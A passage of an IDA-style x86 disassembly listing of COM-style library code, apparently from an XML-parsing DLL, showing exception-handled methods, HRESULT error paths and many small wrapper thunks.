mov [ebp-34h], eax
mov [ecx+8], eax
test eax, eax
jz short loc_69B58DEB
mov word ptr [ecx], 9
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
and dword ptr [ebp-38h], 0
jmp short loc_69B58E20
; ---------------------------------------------------------------------------
loc_69B58DEB: ; CODE XREF: sub_69B58D74+64j
xor eax, eax
inc eax
mov [ecx], ax
jmp short loc_69B58E1D
; ---------------------------------------------------------------------------
loc_69B58DF3: ; DATA XREF: .text:69B58E44o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B58DFC: ; DATA XREF: .text:69B58E48o
mov esp, [ebp-18h]
mov eax, [ebp+0Ch]
mov word ptr [eax], 1
and dword ptr [eax+8], 0
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B58E1D: ; CODE XREF: sub_69B58D74+7Dj
mov [ebp-38h], eax
loc_69B58E20: ; CODE XREF: sub_69B58D74+75j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-38h]
loc_69B58E38: ; CODE XREF: sub_69B58D74+20j
; sub_69B58D74+50j
call sub_69B1853C
retn 8
sub_69B58D74 endp
; ---------------------------------------------------------------------------
dword_69B58E40 dd 0FFFFFFFFh dd offset loc_69B58DF3
dd offset loc_69B58DFC
; =============== S U B R O U T I N E =======================================
sub_69B58E4C proc near ; DATA XREF: .text:69B28F8Co
push 48h
push offset dword_69B59010
call sub_69B19C5C
call dword_69B92948
mov ebx, eax
mov [ebp-1Ch], ebx
xor edi, edi
cmp ebx, edi
jnz short loc_69B58E73
mov eax, 80004005h
jmp loc_69B59003
; ---------------------------------------------------------------------------
loc_69B58E73: ; CODE XREF: sub_69B58E4C+1Bj
mov eax, [ebp+8]
mov esi, [eax+18h]
mov [ebp-20h], esi
cmp dword ptr [esi+40h], 4
jz short loc_69B58E97
mov esi, 8000000Ah
push esi
call sub_69B1D411
push dword ptr [eax+0Ch]
call sub_69B2D2C8
jmp short loc_69B58EB4
; ---------------------------------------------------------------------------
loc_69B58E97: ; CODE XREF: sub_69B58E4C+34j
push esi
push ebx
lea ecx, [ebp-34h]
call sub_69B43E1C
cmp byte ptr [ebp-30h], 0
jnz short loc_69B58EC2
lea ecx, [ebp-34h]
call sub_69B4637D
mov esi, 80004005h
loc_69B58EB4: ; CODE XREF: sub_69B58E4C+49j
push ebx
call dword_69B92944
mov eax, esi
jmp loc_69B59003
; ---------------------------------------------------------------------------
loc_69B58EC2: ; CODE XREF: sub_69B58E4C+59j
mov [ebp-38h], edi
lea eax, [esi+8Ch]
mov cl, [eax]
mov [ebp-39h], cl
lea ecx, [esi+82h]
mov dl, [ecx]
mov [ebp-3Ah], dl
mov byte ptr [eax], 0
mov byte ptr [ecx], 1
mov [ebp-4], edi
mov ecx, [esi+4Ch]
mov [ebp-40h], ecx
mov [ebp-44h], ecx
mov [ebp-48h], edi
lea eax, [ebp-4Ch]
push eax
call sub_69B49BB6
loc_69B58EF9: ; CODE XREF: sub_69B58E4C+C9j
mov [ebp-50h], eax
cmp eax, edi
jz short loc_69B58F17
test byte ptr [eax+0Bh], 1Fh
jnz short loc_69B58F09
inc dword ptr [ebp-48h]
loc_69B58F09: ; CODE XREF: sub_69B58E4C+B8j
lea eax, [ebp-4Ch]
push eax
mov ecx, [ebp-44h]
call sub_69B47D9F
jmp short loc_69B58EF9
; ---------------------------------------------------------------------------
loc_69B58F17: ; CODE XREF: sub_69B58E4C+B2j
cmp dword ptr [ebp-48h], 1
jz short loc_69B58F2D
push edi
mov eax, 0C00CE223h
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B58F2D: ; CODE XREF: sub_69B58E4C+CFj
mov ecx, esi
call sub_69B3DABE
mov ecx, eax
call sub_69B8C4AA
xor ebx, ebx
mov [ebp-54h], ebx
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B58F67
; ---------------------------------------------------------------------------
loc_69B58F46: ; DATA XREF: .text:69B59014o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B58F4F: ; DATA XREF: .text:69B59018o
mov esp, [ebp-18h]
call sub_69B2E808
mov ebx, eax
mov dword ptr [ebp-38h], 1
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-20h]
loc_69B58F67: ; CODE XREF: sub_69B58E4C+F8j
mov edi, [ebp+0Ch]
test edi, edi
jz short loc_69B58FD7
mov dword ptr [ebp-4], 1
test ebx, ebx
jz short loc_69B58F9E
push 20h
call sub_69B1D897
mov [ebp-58h], eax
test eax, eax
jz short loc_69B58F91
push ebx
mov ecx, eax
call sub_69B5A7CD
jmp short loc_69B58F93
; ---------------------------------------------------------------------------
loc_69B58F91: ; CODE XREF: sub_69B58E4C+139j
xor eax, eax
loc_69B58F93: ; CODE XREF: sub_69B58E4C+143j
mov [edi], eax
mov dword ptr [ebp-38h], 1
jmp short loc_69B58FA9
; ---------------------------------------------------------------------------
loc_69B58F9E: ; CODE XREF: sub_69B58E4C+12Bj
call sub_69B5A89E
mov [edi], eax
and dword ptr [ebp-38h], 0
loc_69B58FA9: ; CODE XREF: sub_69B58E4C+150j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B58FD7
; ---------------------------------------------------------------------------
loc_69B58FAF: ; DATA XREF: .text:69B59020o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B58FB8: ; DATA XREF: .text:69B59024o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-38h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-20h]
loc_69B58FD7: ; CODE XREF: sub_69B58E4C+120j
; sub_69B58E4C+161j
mov al, [ebp-39h]
mov [esi+8Ch], al
mov al, [ebp-3Ah]
mov [esi+82h], al
lea ecx, [ebp-34h]
call sub_69B4637D
cmp dword ptr [ebp-1Ch], 0
jz short loc_69B59000
push dword ptr [ebp-1Ch]
call dword_69B92944
loc_69B59000: ; CODE XREF: sub_69B58E4C+1A9j
mov eax, [ebp-38h]
loc_69B59003: ; CODE XREF: sub_69B58E4C+22j
; sub_69B58E4C+71j
call sub_69B1853C
retn 8
sub_69B58E4C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B59010 dd 0FFFFFFFFh dd offset loc_69B58F46
dd offset loc_69B58F4F
dd 0FFFFFFFFh
dd offset loc_69B58FAF
dd offset loc_69B58FB8
; =============== S U B R O U T I N E =======================================
sub_69B59028 proc near ; DATA XREF: .text:69B28F90o
push 2Ch
push offset dword_69B59110
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jz short loc_69B5906A
xor edi, edi
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-30h]
call sub_69B43E1C
cmp [ebp-2Ch], bl
jnz short loc_69B59074
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
loc_69B5906A: ; CODE XREF: sub_69B59028+19j
mov eax, 80004005h
jmp loc_69B59101
; ---------------------------------------------------------------------------
loc_69B59074: ; CODE XREF: sub_69B59028+2Fj
mov [ebp-4], ebx
push dword ptr [ebp+0Ch] ; psz1
call sub_69B8A606
mov [ebp-34h], eax
dec eax
jz short loc_69B5909A
push ebx
push 0C00CE21Dh
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
jmp short loc_69B590B5
; ---------------------------------------------------------------------------
loc_69B5909A: ; CODE XREF: sub_69B59028+5Bj
mov esi, [esi+18h]
mov [ebp-38h], esi
add esi, 0E4h
push esi ; int
lea eax, [ebp+10h]
push eax ; pvarSrc
call sub_69B8A535
mov edi, eax
mov [ebp-3Ch], edi
loc_69B590B5: ; CODE XREF: sub_69B59028+70j
cmp edi, ebx
jge short loc_69B590EA
push ebx
push 0C00CE21Eh
push edi
call sub_69B2E9D0
add esp, 0Ch
jmp short loc_69B590EA
; ---------------------------------------------------------------------------
loc_69B590CA: ; DATA XREF: .text:69B59114o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B590D3: ; DATA XREF: .text:69B59118o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B590EA: ; CODE XREF: sub_69B59028+8Fj
; sub_69B59028+A0j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B59101: ; CODE XREF: sub_69B59028+47j
call sub_69B1853C
retn 18h
sub_69B59028 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B59110 dd 0FFFFFFFFh dd offset loc_69B590CA
dd offset loc_69B590D3
; =============== S U B R O U T I N E =======================================
sub_69B5911C proc near ; DATA XREF: .text:69B28F94o
push 24h
push offset dword_69B591D8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B59141
mov eax, 80004005h
jmp loc_69B591D0
; ---------------------------------------------------------------------------
loc_69B59141: ; CODE XREF: sub_69B5911C+19j
cmp [ebp+10h], edi
jnz short loc_69B59154
push eax
call dword_69B92944
mov eax, 80070057h
jmp short loc_69B591D0
; ---------------------------------------------------------------------------
loc_69B59154: ; CODE XREF: sub_69B5911C+28j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov [ebp-4], edi
push dword ptr [ebp+0Ch] ; psz1
call sub_69B8A606
mov [ebp-30h], eax
dec eax
jz short loc_69B59189
push edi
push 0C00CE21Dh
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
jmp short loc_69B591B9
; ---------------------------------------------------------------------------
loc_69B59189: ; CODE XREF: sub_69B5911C+56j
mov ecx, [esi+18h]
mov [ebp-34h], ecx
push dword ptr [ebp+10h] ; pvarg
call sub_69B5704A
jmp short loc_69B591B9
; ---------------------------------------------------------------------------
loc_69B59199: ; DATA XREF: .text:69B591DCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B591A2: ; DATA XREF: .text:69B591E0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B591B9: ; CODE XREF: sub_69B5911C+6Bj
; sub_69B5911C+7Bj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B591D0: ; CODE XREF: sub_69B5911C+20j
; sub_69B5911C+36j
call sub_69B1853C
retn 0Ch
sub_69B5911C endp
; ---------------------------------------------------------------------------
dword_69B591D8 dd 0FFFFFFFFh dd offset loc_69B59199
dd offset loc_69B591A2
; =============== S U B R O U T I N E =======================================
sub_69B591E4 proc near ; DATA XREF: .text:69B28F88o
push 2Ch
push offset dword_69B592A0
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
xor ebx, ebx
cmp edi, ebx
jz short loc_69B59225
mov eax, [ebp+8]
mov esi, [eax+18h]
push esi
push edi
lea ecx, [ebp-30h]
call sub_69B43E1C
cmp [ebp-2Ch], bl
jnz short loc_69B5922C
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B59225: ; CODE XREF: sub_69B591E4+1Bj
mov eax, 80004005h
jmp short loc_69B59293
; ---------------------------------------------------------------------------
loc_69B5922C: ; CODE XREF: sub_69B591E4+30j
mov [ebp-4], ebx
push offset dword_69B278E4
lea eax, [ebp+0Ch]
push eax
call sub_69B884E8
mov edi, eax
mov [ebp-34h], edi
lea eax, [esi+68h]
mov [ebp-38h], eax
push edi
push eax
call sub_69B17320
cmp edi, ebx
jz short loc_69B59259
mov eax, [edi]
push edi
call dword ptr [eax+8]
loc_69B59259: ; CODE XREF: sub_69B591E4+6Dj
mov [ebp-3Ch], ebx
jmp short loc_69B5927B
; ---------------------------------------------------------------------------
loc_69B5925E: ; DATA XREF: .text:69B592A4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B59267: ; DATA XREF: .text:69B592A8o
mov esp, [ebp-18h]
push 0C00CE220h
call sub_69B2D34C
mov dword ptr [ebp-3Ch], 80004005h
loc_69B5927B: ; CODE XREF: sub_69B591E4+78j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-3Ch]
loc_69B59293: ; CODE XREF: sub_69B591E4+46j
call sub_69B1853C
retn 14h
sub_69B591E4 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B592A0 dd 0FFFFFFFFh dd offset loc_69B5925E
dd offset loc_69B59267
; =============== S U B R O U T I N E =======================================
sub_69B592AC proc near ; CODE XREF: sub_69B592CE+Ap
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
mov dword ptr [esi+8], offset dword_69B99AC8
push off_69B99ACC
lea ecx, [esi+0Ch]
call sub_69B1DFFA
mov eax, esi
pop esi
retn 4
sub_69B592AC endp
; =============== S U B R O U T I N E =======================================
sub_69B592CE proc near ; CODE XREF: sub_69B1C12C+2E36p
; sub_69B1C04C+81D4p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push esi
push edi
push ebx
mov esi, ecx
call sub_69B592AC
push dword ptr [ebx+4Ch]
lea edi, [esi+1Ch]
mov ecx, edi
call sub_69B437E7
mov dword ptr [edi], offset off_69B28F98
pop edi
mov dword ptr [esi], offset off_69B28E50
mov dword ptr [esi+4], offset off_69B28E3C
mov dword ptr [esi+0Ch], offset off_69B28E38
mov dword ptr [esi+20h], offset off_69B28E28
mov dword ptr [esi+28h], offset off_69B28E24
mov dword ptr [esi+34h], offset off_69B28DE8
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B592CE endp
; =============== S U B R O U T I N E =======================================
sub_69B59321 proc near ; CODE XREF: .text:69B59666j
; .text:69B59670j ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 1Ch
push eax
call sub_69B40E6F
retn 4
sub_69B59321 endp
; =============== S U B R O U T I N E =======================================
sub_69B59331 proc near ; CODE XREF: sub_69B596A7+5j
; DATA XREF: .text:69B28E78o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B4122C
retn 8
sub_69B59331 endp
; =============== S U B R O U T I N E =======================================
sub_69B59345 proc near ; CODE XREF: sub_69B59689+5j
; DATA XREF: .text:69B28E6Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B41290
retn 8
sub_69B59345 endp
; =============== S U B R O U T I N E =======================================
sub_69B59359 proc near ; CODE XREF: sub_69B59693+5j
; DATA XREF: .text:69B28E70o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B41434
retn 8
sub_69B59359 endp
; =============== S U B R O U T I N E =======================================
sub_69B5936D proc near ; CODE XREF: sub_69B5969D+5j
; DATA XREF: .text:69B28E74o
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
push esi
push edi
sub esp, 10h
mov edi, esp
lea esi, [esp+18h+arg_4]
movsd
movsd
movsd
add eax, 1Ch
push eax
movsd
call sub_69B41554
pop edi
pop esi
retn 14h
sub_69B5936D endp
; =============== S U B R O U T I N E =======================================
sub_69B5938E proc near ; CODE XREF: sub_69B596B1+5j
; DATA XREF: .text:69B28E7Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B4167C
retn 8
sub_69B5938E endp
; =============== S U B R O U T I N E =======================================
sub_69B593A2 proc near ; CODE XREF: sub_69B596BB+5j
; DATA XREF: .text:69B28E80o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B43D3C
retn 8
sub_69B593A2 endp
; =============== S U B R O U T I N E =======================================
sub_69B593B6 proc near ; CODE XREF: sub_69B596C5+5j
; DATA XREF: .text:69B28E84o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B4183C
retn 8
sub_69B593B6 endp
; =============== S U B R O U T I N E =======================================
sub_69B593CA proc near ; CODE XREF: sub_69B596CF+5j
; DATA XREF: .text:69B28E88o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B418FC
retn 8
sub_69B593CA endp
; =============== S U B R O U T I N E =======================================
sub_69B593DE proc near ; CODE XREF: sub_69B596D9+5j
; DATA XREF: .text:69B28E8Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B419B4
retn 8
sub_69B593DE endp
; =============== S U B R O U T I N E =======================================
sub_69B593F2 proc near ; CODE XREF: sub_69B596E3+5j
; DATA XREF: .text:69B28E90o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B41A7C
retn 8
sub_69B593F2 endp
; =============== S U B R O U T I N E =======================================
sub_69B59406 proc near ; CODE XREF: sub_69B596F7+5j
; DATA XREF: .text:69B28E98o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
arg_18 = dword ptr 1Ch
mov eax, [esp+arg_0]
push esi
push edi
push [esp+8+arg_18]
lea esi, [esp+0Ch+arg_8]
sub esp, 10h
mov edi, esp
push [esp+1Ch+arg_4]
movsd
movsd
movsd
add eax, 1Ch
push eax
movsd
call sub_69B41BEC
pop edi
pop esi
retn 1Ch
sub_69B59406 endp
; =============== S U B R O U T I N E =======================================
sub_69B5942F proc near ; CODE XREF: sub_69B59701+5j
; DATA XREF: .text:69B28E9Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov eax, [esp+4+arg_0]
push [esp+4+arg_8]
add eax, 1Ch
push [esp+8+arg_4]
push eax
call sub_69B41E9C
retn 10h
sub_69B5942F endp
; =============== S U B R O U T I N E =======================================
sub_69B5944B proc near ; CODE XREF: sub_69B5970B+5j
; DATA XREF: .text:69B28EA0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
push [esp+4+arg_4]
add eax, 1Ch
push eax
call sub_69B41D7C
retn 0Ch
sub_69B5944B endp
; =============== S U B R O U T I N E =======================================
sub_69B59463 proc near ; CODE XREF: sub_69B59715+5j
; DATA XREF: .text:69B28EA4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
push [esp+4+arg_4]
add eax, 1Ch
push eax
call sub_69B40304
retn 0Ch
sub_69B59463 endp
; =============== S U B R O U T I N E =======================================
sub_69B5947B proc near ; CODE XREF: sub_69B596ED+5j
; DATA XREF: .text:69B28E94o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B43C62
retn 8
sub_69B5947B endp
; =============== S U B R O U T I N E =======================================
sub_69B5948F proc near ; CODE XREF: sub_69B5971F+5j
; DATA XREF: .text:69B28EA8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B41B44
retn 8
sub_69B5948F endp
; =============== S U B R O U T I N E =======================================
sub_69B594A3 proc near ; CODE XREF: sub_69B59729+5j
; DATA XREF: .text:69B28EACo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B4213C
retn 8
sub_69B594A3 endp
; =============== S U B R O U T I N E =======================================
sub_69B594B7 proc near ; CODE XREF: sub_69B59733+5j
; DATA XREF: .text:69B28EB4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B42F64
retn 8
sub_69B594B7 endp
; =============== S U B R O U T I N E =======================================
sub_69B594CB proc near ; CODE XREF: sub_69B5973D+5j
; DATA XREF: .text:69B28EB8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B422B4
retn 8
sub_69B594CB endp
; =============== S U B R O U T I N E =======================================
sub_69B594DF proc near ; CODE XREF: sub_69B59747+5j
; DATA XREF: .text:69B28EBCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B423AC
retn 8
sub_69B594DF endp
; =============== S U B R O U T I N E =======================================
sub_69B594F3 proc near ; CODE XREF: sub_69B59751+5j
; DATA XREF: .text:69B28EC0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B41774
retn 8
sub_69B594F3 endp
; =============== S U B R O U T I N E =======================================
sub_69B59507 proc near ; CODE XREF: sub_69B5975B+5j
; DATA XREF: .text:69B28EC4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B421FC
retn 8
sub_69B59507 endp
; =============== S U B R O U T I N E =======================================
sub_69B5951B proc near ; CODE XREF: sub_69B59765+5j
; DATA XREF: .text:69B28EC8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B4277B
retn 8
sub_69B5951B endp
; =============== S U B R O U T I N E =======================================
sub_69B5952F proc near ; CODE XREF: sub_69B5976F+5j
; DATA XREF: .text:69B28ECCo
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
push esi
push edi
sub esp, 10h
mov edi, esp
lea esi, [esp+18h+arg_4]
movsd
movsd
movsd
add eax, 1Ch
push eax
movsd
call sub_69B42884
pop edi
pop esi
retn 14h
sub_69B5952F endp
; =============== S U B R O U T I N E =======================================
sub_69B59550 proc near ; CODE XREF: sub_69B59779+5j
; DATA XREF: .text:69B28ED0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B4297C
retn 8
sub_69B59550 endp
; =============== S U B R O U T I N E =======================================
sub_69B59564 proc near ; CODE XREF: sub_69B59783+5j
; DATA XREF: .text:69B28ED4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B42A54
retn 8
sub_69B59564 endp
; =============== S U B R O U T I N E =======================================
sub_69B59578 proc near ; CODE XREF: sub_69B5978D+5j
; DATA XREF: .text:69B28ED8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B42E14
retn 8
sub_69B59578 endp
; =============== S U B R O U T I N E =======================================
sub_69B5958C proc near ; CODE XREF: sub_69B59797+5j
; DATA XREF: .text:69B28EDCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
push [esp+4+arg_4]
add eax, 1Ch
push eax
call sub_69B42B4C
retn 0Ch
sub_69B5958C endp
; =============== S U B R O U T I N E =======================================
sub_69B595A4 proc near ; CODE XREF: sub_69B597A1+5j
; DATA XREF: .text:69B28EE0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
push [esp+4+arg_4]
add eax, 1Ch
push eax
call sub_69B42C6C
retn 0Ch
sub_69B595A4 endp
; =============== S U B R O U T I N E =======================================
sub_69B595BC proc near ; CODE XREF: sub_69B597AB+5j
; DATA XREF: .text:69B28EE4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
push [esp+4+arg_4]
add eax, 1Ch
push eax
call sub_69B42D4C
retn 0Ch
sub_69B595BC endp
; =============== S U B R O U T I N E =======================================
sub_69B595D4 proc near ; CODE XREF: sub_69B597B5+5j
; DATA XREF: .text:69B28EE8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B42EC4
retn 8
sub_69B595D4 endp
; =============== S U B R O U T I N E =======================================
sub_69B595E8 proc near ; CODE XREF: sub_69B597BF+5j
; DATA XREF: .text:69B28EECo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B424B4
retn 8
sub_69B595E8 endp
; =============== S U B R O U T I N E =======================================
sub_69B595FC proc near ; CODE XREF: sub_69B597C9+5j
; DATA XREF: .text:69B28EF0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B42594
retn 8
sub_69B595FC endp
; =============== S U B R O U T I N E =======================================
sub_69B59610 proc near ; CODE XREF: sub_69B597D3+5j
; DATA XREF: .text:69B28EF4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov eax, [esp+4+arg_0]
add eax, 1Ch
push eax
call sub_69B42695
retn 8
sub_69B59610 endp
; =============== S U B R O U T I N E =======================================
sub_69B59624 proc near ; CODE XREF: sub_69B597DD+5j
; DATA XREF: .text:69B28EF8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
mov eax, [esp+arg_0]
push esi
push edi
sub esp, 10h
mov edi, esp
push [esp+18h+arg_4]
lea esi, [esp+1Ch+arg_8]
movsd
movsd
movsd
add eax, 1Ch
push eax
movsd
call sub_69B4311C
pop edi
pop esi
retn 18h
sub_69B59624 endp
; =============== S U B R O U T I N E =======================================
sub_69B59649 proc near ; DATA XREF: .text:69B28F2Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
push [esp+4+arg_4]
add eax, 1Ch
push eax
call sub_69B43024
retn 0Ch
sub_69B59649 endp
; ---------------------------------------------------------------------------
loc_69B59661: ; DATA XREF: .text:69B28E44o
sub dword ptr [esp+4], 4
jmp sub_69B59321
; ---------------------------------------------------------------------------
loc_69B5966B: ; DATA XREF: .text:69B28FA0o
sub dword ptr [esp+4], 1Ch
jmp sub_69B59321
; =============== S U B R O U T I N E =======================================
sub_69B59675 proc near ; DATA XREF: .text:69B28FACo
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B56828
sub_69B59675 endp
; =============== S U B R O U T I N E =======================================
sub_69B5967F proc near ; DATA XREF: .text:69B28FB0o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B56895
sub_69B5967F endp
; =============== S U B R O U T I N E =======================================
sub_69B59689 proc near ; DATA XREF: .text:69B28FB4o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B59345
sub_69B59689 endp
; =============== S U B R O U T I N E =======================================
sub_69B59693 proc near ; DATA XREF: .text:69B28FB8o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B59359
sub_69B59693 endp
; =============== S U B R O U T I N E =======================================
sub_69B5969D proc near ; DATA XREF: .text:69B28FBCo
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B5936D
sub_69B5969D endp
; =============== S U B R O U T I N E =======================================
sub_69B596A7 proc near ; DATA XREF: .text:69B28FC0o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B59331
sub_69B596A7 endp
; =============== S U B R O U T I N E =======================================
sub_69B596B1 proc near ; DATA XREF: .text:69B28FC4o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B5938E
sub_69B596B1 endp
; =============== S U B R O U T I N E =======================================
sub_69B596BB proc near ; DATA XREF: .text:69B28FC8o
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B593A2
sub_69B596BB endp
; =============== S U B R O U T I N E =======================================
sub_69B596C5 proc near ; DATA XREF: .text:69B28FCCo
arg_0 = dword ptr 4
sub [esp+arg_0], 1Ch
jmp sub_69B593B6
sub_69B596C5 endp
; =============== S U B R O U T I N E =======================================
